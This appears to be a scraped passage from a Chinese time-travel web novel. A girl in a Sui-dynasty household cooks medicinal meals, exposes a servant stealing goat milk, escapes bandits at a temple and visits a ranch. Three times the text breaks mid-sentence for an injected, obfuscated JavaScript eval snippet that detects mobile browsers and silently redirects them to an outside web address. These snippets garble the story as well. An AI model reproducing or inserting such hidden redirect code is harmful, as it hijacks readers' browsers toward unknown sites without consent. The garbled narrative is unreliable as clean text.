幞头管事稳声应下,心中默默吐槽:莫小娘子家的吃食这么火,是我想多买几份,就能抢到的吗? 那日他不过要了三份,想着他同两位小主子一人一份,就被身后的人恶狠狠地瞪着。 上马后,排队的一溜人皆如狼似虎般盯着他,他唯恐被人打劫。 第二日长安城平康坊就会出现一个大瓜: 右骁卫将军府管事,竟当街被抢,暴尸巷口,究其原因,竟只为争夺三块酸奶捞奶油松饼。 这边幞头管事在担忧自己的性命,那边莫婤刚从秋曜坊回到高府,郑妈妈便找来了。 说是因昨日大油大荤,今晨高母赶走卫姨娘后,就觉肠胃不适。 听及此,莫婤却猜这里头,定有卫姨娘一份功劳。 胃府可乃情志之器,怒火一炽,更觉五内翻腾,愈曾不适。 唤来郎中,吃了些药,腹中症状是好了些,却仍没胃口。 大厨房探得消息,晚膳讨巧地给高母送了清胃的白粥。 本就没甚胃口的高母,这下是彻底不想吃了,恹恹地躺在榻上。 念及婆母晨时才帮自己挡了人,高夫人自要投桃报李一番,就想到了那日送婆母的酸奶捞。 遂让郑妈妈待莫婤归来,便唤她备好给高母送去。 莫婤想着酸奶有助于平衡肠道菌群,改善消化,自是好的。 但又闻及高母一日未进食,自是不能空腹用酸奶的,只好又做些药膳搭配。 此时已近酉时末,环顾屋中有的,莫婤决定做曲末索饼。 曲末索饼多用于老人脾胃气弱,食不消化,羸瘦,举动无力多卧①。 前些时日用酸米浆做了米线后,莫婤还做了一瓦罐米曲藏在罗汉床下。 现今将其翻出来,掰了约莫二两,用杵臼碾碎成粉备用。 莫母帮她在瓦缸中,捞了羊肉用温水加盐快速解冻。 她从佐料篓子中,翻出块生姜捣成汁后,加入曲末粉混匀,再倒入白面搅和。 揉成面团后,掰成一个个小剂子,在擀面辊下滚了一遭,成饼状备用。 待肉备好后,她切了刀最嫩的羊柳,剁成肉沫,拌入清酱、丁香、草果粉等调味,成了臛头。 腌制好的臛头包入面饼,加水煮熟,再撒些芫荽、葱末,一碗香喷喷带肉味的曲末索饼就成了。 煮索饼时,她还快速拌好了燕麦蜂蜜口酸奶捞。 喜郝揭开曲末索饼汤碗时,米香混着肉鲜味,一下便勾起了高母的食欲。 咬一口细品,淡淡酒甜中还夹着一丝辛辣,更是让高母胃口大开,混着爽口的酸奶捞,吃得浑身暖和,微微冒汗。 一个托案,两道吃食,高母用得干干净净,舒舒服服地睡下。 还遣了喜郝来,让莫婤明个去领赏,只管提自己想要的,高母承诺都能应下。 得知自己小金库又要添丁了,她自是欣喜。 翌日一早,见高母迟迟未唤她,以为高母还未舒坦,冲着赏赐,就又做了些小米姜丝茶。 从米瓮中瓦勺小米,将姜切成丝后,一道放入土灶上的大铁锅。 在锅中文火慢炒至生姜没有水,小米微微焦黄便起锅。 先找赵妈妈要了两个白釉圆肚瓷罐,给高母和高夫人各装了一罐,其余的封入洗净的陶罐中自用。 小米姜丝茶不仅能健脾暖胃,还能散寒祛湿、缓解风寒感冒②,自己做了备着也是好的。 方送至高夫人院中,同她说了功效,喜郝便来唤了。 原是昨晚吃得舒畅,高母终是睡了个好觉,今晨巳时方起。 进了高老夫人院中,她亲自给高母沏了小米姜丝茶。 高母细细品味着茶,让喜郝带她去小库房挑她喜欢的物件。 其实她更想直接要银两赏赐,但不知要多少合适,遂作罢,细细挑了个小巧玲珑的金扣白玉盏。 玉盏触之应是和田玉,敞口,口沿镶金一周,杯身雕朵朵玉莲。 因府中没有大些的娃,让高母含饴弄孙,见她这般都贴心周全,待她挑好后便拉着她闲聊。 听闻是她自己做的酪浆时,很是赞叹,遂说她手中还有一处牧场,每日都有给大厨房送牛羊肉和牛羊奶,让她日后径直去大厨房要。 莫婤自是不愿,这般不就坐实了马婆子的污蔑? 况且,就算她这只是小打小闹的生意,也不想有高府其他人掺和。 高母一眼便瞧出她的犹豫,遂提出按羊奶铺子收购的价卖与她,比她独自出去零买便宜不说,自家的羊奶定是挑好品质的给她,用着也更放心。 莫婤听罢亦觉有理,高母便让喜郝领她去大厨房买。 “杨嫂子,今个羊奶还剩多少,我们要一些。” 到了大厨房,喜郝径直对管羊肉、羊奶的杨大嫂说道。 杨大嫂却一脸为难道:“都被张姨娘院中的大丫鬟香月要走了。” “每日不都有几大缸,她都要走了?”喜郝很是震惊,继续追问,“何况,府中不是每日份例都有定数?” “她求了高大人,大人说这种自家的东西,若有剩就都给她。”杨大嫂扭捏地说。 “现不过晌午,就是剩的了?”喜郝很是不服气,复质问道。 “她怀着孩子硬要,我们可不敢跟她犟。”杨大嫂委委屈屈,“若闹出事,惊了她肚子,我们可担不起。” “她要这么多有何用?”莫婤拉住还欲同杨大嫂争辩的喜郝问道。 杨大嫂的面色霎时也变得一言难尽,见她们似是不追究了,踌躇几下,方拉着她们到墙角,轻声八卦: “因着我也很奇怪,就派茹姐儿去瞧,她用羊奶泡汤浴呢。” 也不知谁同张姨娘想得这个法子,说是在孕期用羊奶泡澡不仅会让皮肤更光滑白皙,亦能不长妊娠斑。 但这也太奢侈了,长安城多少百姓吃不饱、穿不暖,她竟用羊奶泡澡。 喜郝听后,很是气愤,当即回了高老夫人院告状。 莫婤装作脚程慢,让她先走,趁其未注意,拐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14020120|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯,飞快地同高夫人报信后,才又返回了高母院子。 平复喘息后,莫婤悄声往里走,还未及里间,便听到高老夫人怒喝:“不食肉糜!” 高母是陪着高老爷子,跟随隋文帝打江山的,见过百姓流离失所,啃草食土,自是受不了张姨娘这般,遂让喜郝叫上高夫人一道去张姨娘院子。 高夫人得莫婤报信,早便收拾妥当,高母一唤当即便动身。 想着要抓个现行,高夫人扶着高母走了小路,除了莫婤和喜郝,只带了两个大丫鬟和四个婆子。 进了东跨院,穿小道行至张姨娘院后,往前门绕时,竟还发现一个丫鬟在门前把风。 喜郝从丫鬟身后偷袭,一把捂住了她嘴,不让她通报。 高母一行人径直走了进去。 院中其余丫鬟见此皆吓白了脸,因二位主子瞧着,她们不敢通报,也没人敢高呼,都颤颤巍巍跪了一地。 张姨娘处应有两个大丫鬟、两个管事婆子,竟都不在其中。 高夫人扫视了一周,领着高母径直入了里间。 “姨娘这皮肤是白了!” “又滑又嫩,像剥壳的蛋!” “大人见了,都爱死了!” “还是姨娘有本事,怀孕都将大人勾得死死的。” 在雕花屏风后的高母听罢,气得脸红脑涨。 莫婤瞧了瞧高夫人,面色还算平静。 只是眼神下扫,她轻轻拉开高夫人握紧的手,将手指扯出来,手心都被指甲挖出了血。 她忙拿了帕子帮高夫人裹了手,轻轻握住,给她些力量。 缓过神的高夫人回握后,也听不下去这些污言秽语了,喊了身后的丫鬟婆子,将张姨娘捉了出来。 张姨娘只裹了件中衣,外头披的狐裘,还是高母见她坦胸露肉看不下去,扔她脸上让她穿的。 张姨娘虽低声认错,但面上却不当一回事。 她正怀着身子呢,夫人又不能打她,又不能扣她月钱,能拿她怎么办? 至多骂几句关禁闭,反正她怀着孕,也怕出门摔了;旁的人也不想见,怕是害她的,高大人要来夫人也不会拦。 一旁的喜郝和杏雏,见张姨娘这幅有恃无恐的样子,都气得牙痒痒。 “你以为治不了你了?” 高夫人坐在上手平静道,睥睨地瞧着她,却根本没将她看进眼里。 “妾身不敢。” 张姨娘端得规规矩矩,语调却是阴阳怪气。 “秋塘,叫庞妈妈来,将张姨娘院中所有人手调离,另派人服侍,每日需向我汇报姨娘日常,若有半点隐瞒,严惩。” “郑妈妈,从今个起断了姨娘月钱,一日三餐、日常所需每日派人送来。” 随着高夫人一条条指令下发,众人皆动了起来,张姨娘也终于慌了。 “你不能这么对我,我怀着身子呢。” “大人呢,我要找大人做主。” “夫人我错了,饶我一次罢。” 见她激动起来,高夫人直接叫来郎中,一碗安胎药下去,张姨娘歇了火。 高夫人还安排莫婤准备药膳,一日三餐皆有益于她们母子,彻底堵了她的嘴。 正欲筹备孕期保健的莫婤,欣然答应。 但现下另有一件事让莫婤更加在意——张姨娘泡澡的羊奶似乎有些不对劲。 32.大杂烩拉面 方才婆子押张姨娘出来时,莫婤想吃细节瓜,便耗在里头瞧。 因一直用新鲜羊奶做酸奶,她同羊奶还算熟。 张姨娘起身后,羊奶从她身上滑落,莫婤便觉不对劲。 是姨娘的皮肤太光滑,还是吸收力太好? 这羊奶滚落得太快,成色似乎也淡了些。 她怕是自己多想,待姨娘被捉出去后,又凑近了瞧,这桶中羊奶是清亮了些。 忍着恶心,用手沾上些,捻了捻,又嗅了嗅,基本能确定羊奶中掺了水。 待高夫人处理完后,莫婤同她耳语一番,她便让婆子带回一桶还未用过的羊奶。 静置一日后,果见分层,当即派秋塘去调查。 秋塘自是先查了大厨房,抓住几个偷嘴的婆子,罚了两个挪菜的丫鬟,余下一无所获。 又逐个调查了张姨娘遣散的丫鬟婆子,竟发现其身边最信任的曲婆子,中饱私囊,昧下姨娘抢来的羊奶,拿出府卖。 因最近羊奶降价,家中还有几大缸未能脱手,被抓了个人赃并获。 据曲婆子自述,也是为了自己偷羊奶更方便,更不易被发现,才怂恿了张姨娘用羊奶洗澡。 见几日皆无人察觉,愈发得寸进尺。 平日间都会给大厨房盛一缸备用,这两日听闻高母肠胃不适,更觉无人用,便早早要了去。 听罢,张姨娘被气得躲在高大人怀中直哭,高大人不动声色,只等着高夫人裁决。 高夫人雷厉风行地喊来几个粗壮的婆子,没收了曲妈妈一家的财产,将他们丢出了府。 在一旁吃第一手新鲜瓜的莫婤,却仍觉不对。 哪有大中午泡澡的? 而且张姨娘这般爱作的性子,现只顾着紧贴高大人哭,没有跳脚,难道是要在大人面前保留最好的一面? 待回到高夫人院子,她将心中怀疑告知了高夫人,夫人一脸孺子可教地瞧她。 “夫人亦觉姨娘有参与?”见此事似还有后续,她来了兴致。 “张氏这般薄情寡恩之人,她院中下人才不敢背着她搞事。” 高夫人呷了口点心,淡淡道, “若今日之事她真不知,现已求着官人将这一家子打残,皆发卖了才甘心,断不会这般鹌鹑。 何况日日用羊乳沐浴,就算掺水,那婆子院里也剩不下这般多!骗鬼呢!” “那夫人就这般算了?”她听后闷闷道,抬手轻抚高夫人手心的结痂。 高夫人豁达一笑: “她人手被我断了,一日三餐皆在我掌控之下。 月钱被停,得等我扣顺心了再发,奢靡享受自是不能了。 官人也怪不上我,可是她自己手下人犯的事。 我们都得了这般多了,怎么是算了呢?” 莫婤闻及,陷入沉思,是她对惩罚的理解太片面了? 经此事后,莫婤在高母处都挂上了号,因是高母深觉她帮着高府处置了一个大蛀虫。 按高母的说法,那曲婆子今日敢偷羊奶去卖,明日就敢偷金银首饰去卖,迟早有一天,高府库房要被他们这些白蚁搬空。 由此高府还掀起了一阵自查风,各院主子、姨娘们纷纷清点自己小库房有没有缺物少货。 除了财大气粗的金姨娘处,疑似查出了点不对外,余下各院明面上皆无事发生。 想着莫婤为高府做出如此大的贡献,高老夫人大手一挥,决定赏她两头母羊,留着产奶还是杀了吃,都随她。 她算了算,若三日取奶一次,两头母羊的羊奶也够摆摊了。待母羊不产奶后,她再同高府买。 正巧离元宵没几日了,高府欲派人去挑几头肥羊拉回来过节,莫婤听罢便求了高夫人想同去。 一是欲挑两头产奶高的羊,再带些新鲜的羊奶回来。 二是想踩点,同牧场管事和附近的牧民认识,以后就算脱离了高家,也能买到物美价廉的羊奶。 让宅女出门的动力,也只有赚钱的事业了。 回屋同莫母一说,阿娘也很是支持,甚至拿出阿兄留下的遗笔对莫婤熏陶: “百闻不如一见,百见不如一识。” 对闺女家训一番后,又忙着为她准备行囊。 从顶天立地柜中,找出两身便于行的衣裳带上。 又在自己的药材篓里翻腾,给她找齐了跌打损伤、防风寒的草药,裹了一皮囊。 瞧着还是不放心,又将她前个做的小米姜丝茶也装了一竹筒。 最后,香囊内又偷偷给她塞了些碎银子。 而此时,莫婤正在小院,忙活她要带出门的干粮。 隋朝时的干粮多是麦饼、胡饼,而她却想着梅菜扣肉饼,馋得不行。 在土墙上取了一串挂着的梅干菜,剪了些在木桶里,盛温水泡开。 同时在面粉中和入少量的盐、大豆油,加水揉成面团,醒面后扯成小圆坨。 切一刀猪柳剁成肉沫,再加入料酒、清酱、糖盐等,搅拌均匀腌制。 捞起喝饱水的梅干菜切碎,同腌制好的肉沫混匀,做馅料塞进小圆坨。 塞口朝下,轻轻压扁,用擀面辊擀成薄饼。 烧起土灶,放上铁盘烤热后,融了一小勺猪油,用猪鬃刷开,撤至文火,开始烙薄饼。 两面金黄、饼皮酥脆的梅菜扣肉饼,在桑皮纸上,挪了一垛。 先给莫母尝了鲜,又同楼上的庞大娘送了些,剩下的也够出行了。 龙旂阳阳,和铃央央。 莫婤背着褡裢,类似现代的双肩包,抱着她的扑满,就是存钱罐。 辞别莫母后,她爬上了高府的马车,出门了。 马车周围有高府护卫跟随,马车上除了赵妈妈,还坐了大厨房的钟管事和杨嫂子。 穿来隋朝后,莫婤走过最远处,就是当日同莫母从西城来了东城。因而一路上很是新奇,一直往外探头,欣赏沿途风光。 长安城外,已有早春的痕迹,穿过层层叠叠的粉红桃林,竟有一棵青冈树倚在湖边,叶片泛着红。 湖中应有蛙群,明明是白日,蛙声却此起彼伏。 烦人的蛙鸣,终将莫婤从美景的迷幻中吵醒,开始思考。 因在现代也算个医学生,分子生物学中,老师提到的青冈树叶的案例,让莫婤牢记至今。 青冈树叶片受叶绿素和花青素的影响,对气候很敏感,在即将下暴雨前,就会变红。 再加上白日里就出现的蛙鸣,约莫快要下雨了。 告知众人后,又吩咐马夫加快赶路,她才复拾起一闪而过的灵光。 方才她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14027374|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛然回忆起刚穿来隋朝时,在莫家小院墙角看到的,隔壁家探头过来的梅花。 梅花多在元宵左右盛开,但那时邻里的梅花就已开繁,而今日马车还穿过了怒放桃花林。 桃花也提前开了…… 莫婤心中升腾起不详的预感,来年春汛,不会发大水吧。 此时更恨自己不读史,若发大水,危及严重,史书中定有记载。 正懊恼着,还是没躲过,外边密密地下起毛毛细雨。 半道上也无处躲,他们又疾行了一刻钟,终是找到一处可以避雨的破庙。 庙门半掩,门板还有些开裂,往里走,院中还有个潦草的马棚。 多半是过路人修葺过,上面搭着些茅草,还能勉强避雨。 栓上马,众人抬着马车中的行囊,撑开油纸伞,踩着门槛上肆意蔓延的青苔,进了庙堂。 庙堂内中除了乞儿,还有一个躲雨的老者。 众护卫皆淋了雨,幸而大户人家出门东西都带得全,翻看行囊,里头干粮井水、炭火炊具都有。 吹燃火折子,莫婤扯了些破庙中的稻草引火。 点上炭后,先烧了一锅水,泡了小米姜丝茶给众人喝上。 怕不抵用,莫婤又翻出自己的药材皮囊,拿了个砂锅,熬了一壶防风寒的汤药。 见同在庙堂中的乞儿穿得单薄,老者瞧着年迈,她便也分了他们一碗。 良药苦口,自不好喝,但莫婤言明俱是防风寒的,大家皆捏着鼻子喝了。 毕竟古代医疗条件不发达,小小的一次风寒就可能夺人性命。 雨从晌午一直下到傍晚,幸而杨嫂子还装了一布袋面粉。 杨嫂子和面,钟管事给大家露了一手“隋氏拉面”。 将杨嫂子备好的面,揪下一块,搓成长条后,双手分别捏住两端,轻轻拉长,对折,再拉长,反复多次。 中间杨嫂子还不时往上洒些面粉,防止粘连。 莫婤则从杨嫂子给她的行囊中,找出了黑木耳干、黄花菜干、笋干、香菇干…… 抓了够众人吃的,泡开,放入水烧开的大铁锅中。 钟管事也开始往锅里丢拉面,莫婤切葱姜蒜,还在自己碗中丢了几个茱萸。 或是因着有笋干、香菇等,大杂烩面颇为鲜香,众人喝了汤,连碗壁都舔了。 还有那馋虫被勾出来的,掏出干粮,刮着碗壁上未舔干净的面汤,继续吃。 莫婤拿出梅菜扣肉饼,放炭火上烤热,吃时更焦了些,外酥里嫩,很是上口。 一旁的老者也抓着胡饼啃,只角落的乞儿肚子饿得咕咕响,却未上前乞讨。 她吃着香喷喷的饼,忍了忍,还是没忍住,分了他一个。 “小妹妹,你自己吃。”乞儿见她亦是小小一个,不肯要。 “我还有,而且我吃了面,已饱了。”莫婤将饼塞进他手里,跑开了。 坐在炭盆边,余光瞥见乞儿看着饼发呆,似乎不舍得吃。 外头的雨,瞧着没有停歇的样子,今个大抵要在此处过夜了。 高府护卫们合力将破庙大堂的门关上挡风,还用大石抵住。 因着心中惶惶不安,莫婤夜间并未熟睡。 夜半雨停了,一阵风吹过,莫婤挂在大堂门上的铜铃响了。 33.雨后山林 莫婤瞬地睁开眼,惊觉有烟从门缝中飘进来。 周围高府的护卫们也陆续起身,正用袖子掩面。 睡在门旁的乞儿亦醒了,死死地盯着门,似怕外面的人突然冲入。 见确有不对,她忙叫醒身旁的赵妈妈和杨嫂子,招呼门旁的乞儿和角落的老人,让他们也用竹桶里的水打湿了袖口,捂住口鼻。 又过了一阵,似乎等破庙里的人被迷晕了,外头开始撞门,听动静应有五六个人。 高府护卫一队八人,都拔出了刀,严阵以待。 莫婤手中藏着飞镖,荷包里昨日才新添满了胡椒粉。 “咚——” 随着一声低沉的闷响,破庙本就年老失修的木门被撞开。 五个高矮胖瘦不一的蒙面汉,穿着破旧的粗布短衣,拿着锄头、镰刀,只有腰间围着的兽皮,或长或短,表露了他们山贼的身份。 待轰门的烟尘散去,见破庙内众人不仅未晕,还这般大的架势,他们竟拔腿就逃了。 高府护卫们也不能脱离队伍去追,还是一旁的老爷爷,不知朝着他们掷了何物。 骤然,他们后背的短衣被炸开了花,露出了被炸烂的皮肉。 于是,他们跑得更快了,像莫婤等人才是山贼,在追他们。 见人跑了,莫婤转身欲向老者道谢,一回头,他却已飘然离去,未留下只字片语。 只剩迷茫的高府众人,和瑟瑟发抖的乞儿。 见状,莫婤又回过身来,对乞儿严肃道:“你去从军吧,别跟他们混了。” 乞儿听后,瞬时愣在原地。 原来莫婤在将梅菜扣肉饼塞入乞儿手中时,发现了他手上的老茧。 与平常人因劳作或工种形成的老茧不同,她只在吴娘子和长孙无忌手上瞧见过这种老茧,是常年使兵器会留下的。 何况乞儿因怕别人抢食物,都习惯将得到的吃食当即吞咽下肚。 而这个乞儿,不仅不乞讨,在她主动分他饼后竟也不急着吃。 因而,她睡前偷溜到马棚,取下马脖上的铜铃,挂在了门上。 绕进屋时,还悄悄告知了高府护卫们这一情况,让他们夜间不要睡死。 不知乞儿是一时心软,还是被看得太紧,没找到同门外贼人里应外合的机会,没有能伤害他们。 上了马车,想到他接过饼时真挚感激的神情,想到他被揭穿时没藏住的愧疚,莫婤还是忍不住探头再次对他吼道: “去从军,去李渊将军麾下。” 缩回头,见众人皆莫名其妙地盯着她,她强装镇定解释: “只认识李家二公子,只知道李渊将军。” 扯了李世民打掩护,成功糊弄过关心国家大事的钟管事。 钟管事遂撇开了头不再瞧她,赵妈妈也搓了搓她小脸。 规矩坐好,她一面骂自己烂好心,多管闲事,一面又松了口气。 君子,有所为而有所不为。 虽她只是一小女子,但来这大隋一遭,不能丢掉了现代的躯壳,还忘记自己的本心。 雨后的山林里,都是宝贝。 在护卫们停下歇息时,马车上的众人也下车放风。 一眼便瞧见了枯木上的黑木耳,同赵妈妈刨完木耳,又在树角发现了荠菜、马兰头、藜蒿。 赵妈妈正挖着野菜,莫婤竟还发现了一株野枸杞的小苗。 她捡了根木棍,小心翼翼往下挖。 枸杞的根系发达,深度和宽度都比植株看起来大。 确定好完整的根系后,她开始将枸杞刨出,尽可能多地保留根本身的土壤。 刨出来后,莫婤在山壁上刮下许多潮湿的苔藓,将其根茎包裹。 又找了块粗布在小溪中润湿后,将连同苔藓一道将枸杞苗根裹住,固定,放进了马车内。 此时,去不远处竹林出恭的钟管事,回来喊了杨嫂子,同她去竹林抱了捆毛竹笋回来。 他们身后还跟着两个同去竹林舒爽的护卫,两护卫手中还拎了两只棕灰竹鼠。 经过整个冬日的养膘,竹鼠瞧着颇为肥硕,护卫们利落地剥下整张匹,瞧着够做个领巾了。 杨嫂子自告奋勇地为他们烤竹鼠肉,撒上些盐,还找莫婤要了些胡椒粉,承诺一会分她口。 她连连摆手,胡椒粉可以给,但分肉就算了。 经历了现代,可不敢乱吃东西了,更何况还是竹鼠。 谢邀,婉拒了哈! 烤肉香飘十里,她实在受不住了,怕自己坚守不住底线,又拿出梅菜扣肉饼来烤。 吃着香喷喷的肉饼,终是没这般馋了。 队伍休整一番后,又行了约莫一个时辰,到了终南山。 终南山位于秦岭山脉北坡中段,是长安城的天然屏障,自古以来就有“终南捷径”之称,意指终南山是通往长安的便捷之路。 终南山脚下的草甸和渭河流域的低湿地带,也是牛羊放牧的理想之处,高府牧场便在此处。 山间仍可见白雪皑皑,但牧场上的积雪已开始消融。 羊茅、早熟禾等悄悄探出头,几处草尖也冒出了嫩绿的新芽,被挤在一处的羊群轮番舔舔。 牧羊犬本是缩在草垛旁,见她们下马,飞速立起,留下一串梅花脚印,跑到羊群旁,戒备地盯着他们。 看守牧场的管事姓蔺,上套长袍,下穿马裤,腰间用条褐布扎成带,里头插着羊鞭和小刀。 见着钟管事,他快步上前,边同他们介绍,边领着他们进了牧寮。 牧寮是用原木搭成,顶覆金黄茅草,推开木门,蔺夫人正点了屋子中央的火塘。 蔺管事领他们围着火塘坐下,暖身子。 而蔺夫人则起身从壁龛中取出皮囊,先给钟管事倒了马奶酒;又提起铜壶,放在火塘石板上,温热羊奶。 见还有莫婤这个小娃娃,她又走到墙角,起开木板,从约莫成人小腿深的地窖中搬出个陶罐。 剥开陶罐盖子,一阵奶香带着丝丝酸甜飘了出来,里头竟是一块块淡黄的奶酪。 给莫婤盛了一碗,蔺夫人坐到她身旁,一面帮她撕掉上层的干酪皮,一面催她试试合不合口味。 奶酪块很小,她一口包住,浓郁的奶香在口中爆开,细腻绵密,细嚼口感更丰富,酸甜中,还带着淡淡的咸,更显美味Q弹。 一口一口,停不下来,蔺夫人见此更兴奋地投喂她,她感觉自己浑身上下都被奶香腌入味了。 见众人都暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14037446|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和了,钟管事便同蔺管事说明来意,又寒暄了一番,就带着他们去挑羊羔。 高府众人要挑膘肥肉多的成年羊,再捎带上两鲜嫩多汁的小羊羔。 而莫婤要选产奶多的羊,再看能不能买些新鲜的羊奶。 于是,便由蔺管事领着高府一行人,莫婤则由蔺夫人带着。 蔺夫人教着她挑了两头身躯长,房丰满、对称,呈球形的母羊。 同蔺夫人商量好送奶的时间后,她又问夫人何处能买到新鲜的羊奶。 听罢,蔺夫人带着她回了牧寮,抓了两双羊毛手套给她。 在盆中扔上块粗布后,蔺夫人倒了火塘旁温着的水,又递了个木桶给她抱着,领着她去了母羊圈。 蔺夫人带上手套,先给母羊顺毛,用温水和帕子轻柔清洗了它的乳首后,给莫婤示范如何挤奶。 随着有节奏的挤压,蔺夫人很轻巧地就挤了小半桶,见她跃跃欲试,便给她让位。 谁知,她刚上手,母羊便抬了后脚。 还是蔺夫人反应快,一把捞起她转身,躲过了母羊的后飞踢腿。 莫婤一脸心有余悸,却又很是不甘,央着蔺夫人继续教她。 用拇指和食指先轻轻握住乳首,其他手指支撑□□,再顺着母羊呼吸有律动地按压,羊奶便乖乖地流入了容器,母羊也没有再踹她。 约莫用了半个时辰,才挤了完两头羊的奶。 就这般,蔺夫人还夸她有天赋,说不愧是稳婆的闺女,难怪这么小就得高夫人看重。 莫婤先是震惊于她名声居然传到了这么远的终南山,反应过来后,则是羞红了脸,心中大呼:这人和羊可不一样啊! 挤完奶,高府一行人还未回,她们二人便站在草场上举目远眺。 “蔺夫人,你瞧!” 莫婤语调突然兴奋起来,她指着不远处慢慢悠悠溜达过来的小马驹叫到。 莫婤前世是南方人,为数不多骑马的机会还是在古镇景区。 牧民带着坐到马上,在圈好的马场走上一圈,不到十分钟,要价却不下百元。 都是些高头大马,多是黑色或棕色,身上还带着骚味。 或是因马圈小,它们跑不痛快,神色也很是烦躁,让人不敢亲近。 但这头小马驹鬃毛和尾巴都是乳白的,而四个蹄子又乌黑发亮,四肢修长有力,瞧着很是健美。 最让莫婤感叹的,是这小马驹的神态,瞧着就有股子慵懒随意之态。 “它啊,日日懒在马圈里,赶它出来也只愿意在这草上晃悠几圈,一匹小马都没点朝气!亏我还给它配了好鞍,结果不是头好马!” 蔺夫人恨铁不成钢地说,见她眼馋得紧,便撺掇她去同它搭讪。 “它懒得都不会同人发脾气的,只是不理人,你去试试。” 见蔺夫人都这般说了,莫婤便小步跑上前去。 她轻轻用手捧上了它的马脸,小马驹果然没有冲她吹鼻子,更没用嘴推她。 只是瞥了她一眼后,就不理她了。 这般有个性,莫婤更心动了,摸了摸它柔顺的鬃毛,见它身上只有股奶香味,还将脸贴在了它漂亮的长脖子上。 小马驹终于有反应了,它甩开了头。 34.全羊宴 “哈哈哈——”身后传来了蔺娘子高亢的嘲笑声。 “夫人,能不能教教我?”莫婤没有生气,反而回头认真恳求。 瞧她是真的喜爱,蔺娘子走过来,将她抱到了小马驹背上。 喊她挪挪屁股,在马鞍舒服的位置坐稳,又将她的脚搬上了马镫。 莫婤见小马驹有些不耐地摆头,无师自通地轻摸它脖子安抚。 摸了两下,小马驹似懒得同她计较,又懒洋洋起来。 让她双腿夹住马肚,手抓紧缰绳,蔺娘子拉着小马驹慢慢走向远处。 在马背上,她瞧得更远了,牧场上团团流动的白云,是白羊群;片片弥散的黑雾,是黑羊聚。 远处还有牧民们的毛毡房,房外似还围着一圈栅栏。 “呦,它还挺喜欢你。” 一面拉着小马驹往前走,蔺娘子一面惊奇回头对莫婤喊道。 “为何这般说。” 莫婤见小马驹虽漫不经心,但走得很稳,遂放松下来,两腿搭着它的肚儿起伏晃悠。 “平日任谁骑上,它都不动的!”蔺娘子感叹, “今个这般贴心?走得不紧不慢,还稳!” 小马驹很通人性,对着蔺娘子吹了吹鼻子气,但身子仍是稳当。 “还不耐烦我牵着。” 蔺娘子同羊马打交道这么些年,瞧着似还会马语,说罢就放开了手。 莫婤也不怕,又摸了摸小马驹的脖子,在蔺娘子的指导下,轻踢马腹开始加速。 小马驹也很是贴心,似有感受她的熟悉度,在慢慢加速。 待黄昏,高府一行人回来时,莫婤已能骑着小马驹慢跑了。 “嘿,今日你能请动它?” 蔺管事见小马驹愿意跑起来,也很是惊奇。 “我哪儿唤得动,还是莫小娘子有本事,让它驮着她晃悠大半个时辰了。” 蔺娘子见终是有人能治住它了,亦是很兴奋。 又教了莫婤如何上下马后,拽着她进牧寮歇息,让小马驹自个回去。 “小马儿,我明早来同你顽!” 莫婤被蔺娘子推着,依依不舍地往牧寮走,掀帘子钻进屋前,还对着她的小伙伴不住地挥手道别。 “蔺娘子,它没取名吗?” 想着还不知唤它啥,莫婤出言询问。 “取了几个,叫都不理,就没个固定的,可能就是等着你取吧。” 蔺娘子调笑道,推开点灯,燃起火塘,招呼大家围坐过来。 莫婤听罢,心中美滋滋的,真当蔺娘子说的实话,想着要给小马驹取什么名字好! 火塘上,蔺娘子吊了个铜锅,里头炖着带肉的羊蝎子。 她又从地窖中搬了篓芋头,抱了捆野淮山。 将芋头径直丢进火塘,掏火盖灰,将芋头都埋里头,焖烤。 手中边忙个不停,边问他们羊子挑得如何。 高府牧场的羊子是养了自家吃的,各个品种都有些,小尾寒羊、阿勒泰羊、大尾羊、细毛羊、湖羊、滩羊…… 因而挑羊是要费些功夫的,杀了吃的育肥羊还好说,只要膘肥肉嫩就行,不论杂毛儿的、黝黑的、赭色儿的。 可还关系到一年到头的祭祖请神,这就讲究了,得选毛色纯儿、身子美的白羝。 “哪儿这么快,不知是个使大劲的活碌啊!” 蔺管事轻声抱怨,被他夫人胡了一巴掌,软下声道, “今个羊子都吃饱了,只筛了些瞧着眸子亮、毛有光、腹毛少的,还得明儿一早去瞧。” 羊子康健除了神态皮毛外,腹毛稀疏、草腹明显,代表羊肠胃发育好。 而晨时,羊子饥馁,将啖第一顿草秣,此时才能更好的观其口齿,察进食之态,选到最善的羊。 说罢,蔺管事也不再吭声了,将墙角靠着的羊皮囊,倾斜倒水,下头接个陶钵刮洗野淮山。 